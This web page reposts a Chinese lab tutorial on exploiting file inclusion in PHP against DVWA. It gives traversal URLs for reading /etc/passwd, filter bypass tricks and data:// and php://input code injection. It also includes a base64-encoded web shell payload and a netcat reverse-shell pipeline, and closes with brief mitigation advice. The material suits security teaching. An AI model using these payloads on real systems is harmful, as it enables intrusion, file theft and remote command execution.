文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

渗透测试-文件包含漏洞以及php伪协议的应用

2023-09-01 09:27

关注

文章目录

文件包含漏洞也属于注入漏洞的一种,但跟以往的注入漏洞方式又不一样,接下来给大家介绍该漏洞实现的几种方式,以及绕过方式,php伪协议是如何应用的,都会给大家做演示

文件包含漏洞是代码注入的一种。其原理就是注入一段用户能控制的脚本或代码,并让服务器端执行,代码注入的典型代表就是文件包含File inclusion。文件包含可能会出现在jsp、php、asp等语言中。服务器通过函数去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。

常见的文件包含的函数如下:

PHP:include() 、include_once()、require()、require_once()、fopen()、readfile()

JSP/Servlet:ava.io.file()、java.io.filereader()

ASP:include file、include virtual

使用上面几个函数包含文件时,该文件将作为PHP代码执行,PHP内核并不在意被包含的文件是什么类型的。也就是说我们用这几个函数包含.jpg文件时,也会将其当做php文件来执行

只要allow_url_include=On(远程文件包含)、allow_url_fopen=On(本地文件包含)处于打开状态,就存在包含漏洞

顾名思义,就是在本机上包含文件的,叫做本地包含,若是page="外部的url"的话就是远程包含

本地包含案例演示

我们在kali的网页目录新建一个a.php文件,网页目录路径为/var/www/html
文件内的内容为:

是一个典型的存在包含漏洞的代码
我们打开本地浏览器访问
http://192.168.171.128/a.php?page=file:///etc/passwd
http://192.168.171.128/a.php?page=…/…/…/…/…/…/…/…/etc/passwd
http://192.168.171.128/a.php?page=…/…/…/…/…/…/…/…/etc/motd
在这里插入图片描述
我们访问mysql的配置文件
http://192.168.171.128/a.php?page=…/…/…/…/…/…/…/…/etc/mysql/my.cnf
在这里插入图片描述
这就是典型的文件包含漏洞,没有对特定的符号进行过滤和转义,就会出现这种漏洞。
我们使用dvwa作为演示,以dvwa低级为例

dvwa(低级)

在这里插入图片描述
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=file1.php
我们输入
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=…/…/…/…/…/…/…/etc/passwd
(这里添加多个…/是为了能回到根目录)
在这里插入图片描述
因为不是php文件,没有执行,就直接显示在页面上了,如果是php文件的话,先执行,后显示

dvwa(中级)

在这里插入图片描述
当我们在输入这个的时候,发现没有回显,说明被过滤了
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=…/…/…/…/…/…/…/etc/passwd
在这里插入图片描述
我们可以进行双写进行绕过
(过滤…/和http://)
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/passwd
hthttp://tp://192.168.171.128/shell.php(反弹shell)黑名单过滤

我们重新输入
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/passwd在这里插入图片描述
发现回显成功了

dvwa(高级)

当我们在输入双写的做法时,发现也没有回显了,是因为已经过滤了http头了,我们可以使用file:///etc/passwd进行绕过
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=file:///etc/passwd
在这里插入图片描述
发现回显成功,也成功绕过了。

1. data://text/plain

当我们本地写不进去,远程又包含不了,怎么办呢,这时我们就需要用到php伪协议了也称封装器,直接写入代码执行。

我们先输入明文试试
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,helloworld
在这里插入图片描述
发现回显成功了,就在左上角那里有个helloworld。
我们再试试输入执行命令的代码
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,
在这里插入图片描述
回显成功了

我们尝试监听,并反弹shell
我们输入
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,(监听的是1234端口)
在这里插入图片描述
连接上了,但是返回不了shell
我们尝试使用-e /bin/bash参数反弹shell
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,
在这里插入图片描述
反弹成功,万一要是在其他系统里反弹不了,怎么办,这里有另外一种方法,就是管道传输

我们输入
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,
这里解释一下这个参数是怎么回事
nc 192.168.171.128 1234|/bin/bash|nc 192.168.171.128 1235
(就是把目标机器的1234端口执行完后,将数据传输到/bin/bash(shell)后,经过shell执行后在将结果输送到1235端口进行输出)

我们看一下效果,我们先让两个端口进行监听
在这里插入图片描述
在这里插入图片描述
反弹shell成功,就是在左边输入命令,右边就会输出信息。

当然,在实际工作中,一旦出现了明文注入,就会被检测的到,这时我们就要进行编码绕过,这里进行base64编码演示一下

(分号后面编码时要加空格)

http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,

base64编码后
http://192.168.171.128/dvwa/vulnerabilities/fi/?
page=data://text/plain;base64,PD9waHAgZWNobyBzaGVsbF9leGVjKCJpZCIpOyA/Pg==
在这里插入图片描述
回显成功了在这里插入图片描述

我们在输入
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,

进行编码后得到
PD9waHAgZWNobyBzaGVsbF9leGVjKCJpZCIpOyA/Pg==

我们重新输入
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain;base64,PD9waHAgJHZhcj1zaGVsbF9leGVjKCRfR0VUWydjbWQnXSk7IGVjaG8gJHZhciA/Pg==&cmd=id
(因为后面要通过cmd,输入东西,所以要加上&cmd=id)
在这里插入图片描述
发现也成功回显成功了。

2. php://input

这里就要用到burp抓包工具了
我们输入
http://192.168.171.1/dvwa/vulnerabilities/fi/?page=php://input
在这里插入图片描述
我们进行重发,插入一段php代码

在这里插入图片描述
注入成功了,我们只要向其输入执行的命令语句,在右边就会显示出信息了。

3. 本地文件包含漏洞利用技巧

在php中,文件包含需要配置 allow_url_include=On(远程文件包含)、allow_url_fopen=On(本地文件包含) 。所以,我们可以将其关闭,这样就可以杜绝文件包含漏洞了。但是,某些情况下,不能将其关闭,必须进行包含的话,我们可以使用白名单过滤的方法,只能包含我们指定的文件。这样,就可以杜绝文件包含漏洞了

通过实验我们总结了文件包含漏洞以及php伪协议的相关利用方法,以及如何进行编码绕过的方法,大家好好复习一下。

来源地址:https://blog.csdn.net/lza20001103/article/details/125898458

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯